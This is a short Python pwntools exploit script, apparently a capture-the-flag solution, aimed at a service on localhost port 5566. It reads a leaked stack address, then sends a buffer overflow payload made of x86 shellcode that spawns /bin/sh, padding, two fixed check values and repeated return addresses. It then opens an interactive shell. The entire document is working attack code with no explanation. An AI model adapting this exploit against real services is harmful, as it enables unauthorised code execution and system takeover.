from pwn import *

r = remote("127.0.0.1",5566)

addr = r.recvline()[6:16]

shellcode = "\x6A\x68\x68\x2F\x2F\x2F\x73\x68\x2F\x62\x69\x6E\x89\xE3\x31\xC9\x6A\x10\x58\x48\x48\x48\x48\x48\x99\xCD\x80"

var_64_33333 = p32(0x475a31a5)+p32(0x40501555)

buf = shellcode + 'a'*101 + var_64_33333 + p32(int(addr,16))*10 + '\n'

r.send(buf)

r.interactive()